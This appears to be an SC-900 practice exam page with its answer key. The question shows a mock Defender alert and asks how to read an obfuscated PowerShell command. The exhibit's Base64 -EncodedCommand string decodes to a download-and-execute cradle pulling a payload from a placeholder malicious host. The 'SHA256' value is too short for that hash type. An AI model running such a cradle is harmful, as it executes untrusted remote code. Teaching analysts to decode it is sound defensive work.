Describe the capabilities of Microsoft security solutions →hardMultiple ChoiceObjective-mapped

SC-900 Practice Question: Describe the capabilities of Microsoft security solutions

Exhibit

Device: DESKTOP-02
Alert: Suspicious PowerShell command line
Process: powershell.exe
CommandLine: powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQAJwApAA==
SHA256: 5d41402abc4b2a76b9719d911017c592

Refer to the exhibit. The exhibit shows an alert from Microsoft Defender for Endpoint. The SOC team needs to decode the PowerShell command to understand the malicious intent. Which tool or method should they use?

⚠ Common exam trap

It's easy for candidates to confuse encoding (Base64) with encryption, leading them to incorrectly select 'decrypt' or 'decryption keys' when the solution is simply decoding without any cryptographic key.

Answer choices

Why each option matters

Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.

Correct answer & explanation

✓

Decode the Base64 string using a built-in decoder or online tool

The exhibit shows a PowerShell command encoded in Base64, which is a common obfuscation technique used by attackers to hide malicious intent. Decoding the Base64 string using a built-in decoder (e.g., `[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String()`) or an online tool directly reveals the plaintext command. This is the correct approach because Base64 is not encryption—it is an encoding scheme that can be reversed without any keys.

Answer analysis

Option-by-option breakdown

For each option: why learners choose it and why it is or isn't the right answer here.

✗
Search for the SHA256 hash in threat intelligence feeds
Why it's wrong here
Searching for the SHA256 hash in threat intelligence feeds would identify the specific file or script that was executed, if it's known to be malicious. However, this action does not directly reveal the content of the *decoded command* that the PowerShell script was instructed to run via the -EncodedCommand parameter. While the script itself might be malicious, understanding the specific actions intended by the encoded command requires a different analysis step.
✗
Decrypt the command using the device's decryption keys
Why it's wrong here
The command string provided in the alert is Base64 *encoded*, not cryptographically *encrypted*. Encoding is a reversible transformation that does not require a secret key for decryption; it merely changes the data's format for transmission or storage. Decryption keys are used to revert encrypted data back to its original plaintext, a process fundamentally different from simply decoding a Base64 string.
✗
Use PowerShell script block logging to capture the decoded command
Why it's wrong here
While PowerShell script block logging is an excellent security feature that can capture decoded commands, it must be enabled *prior* to the event occurring to be effective. The question implies an alert has already been generated, meaning the command was either executed or attempted. Relying on script block logging at this point would be a reactive measure to capture *future* events or to review *past* logs if enabled, but it doesn't directly help in analyzing the *current* encoded command string presented in the alert.
✓
Decode the Base64 string using a built-in decoder or online tool
Why this is correct
The `-EncodedCommand` parameter in PowerShell specifically utilizes Base64 encoding to obfuscate or transmit commands. To understand the actual actions the command intends to perform, the Base64 string must be decoded. This can be easily achieved using various built-in PowerShell cmdlets, programming language functions, or readily available online decoding tools, providing immediate insight into the attacker's intent.

Go deeper

SC-900 Practice Question: Describe the capabilities of Microsoft security solutions

Exhibit

Why each option matters

Option-by-option breakdown

Related to this question